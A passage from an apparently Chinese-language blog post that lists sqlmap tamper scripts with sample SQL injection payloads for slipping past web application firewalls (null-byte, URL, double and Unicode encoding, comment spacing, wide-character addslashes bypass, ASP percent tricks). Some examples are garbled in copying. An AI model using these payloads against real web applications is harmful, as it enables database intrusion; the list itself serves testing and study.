2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6randomcase.py随机大小写* Input: INSERT
* Output: InsERt
7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1')
'1 AND 1=1%00'
其他 chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
 unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
 randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’

如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!

 

这里有很多部分已经不记得是哪位大佬写的了,就不能一一标注,十分抱歉......

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值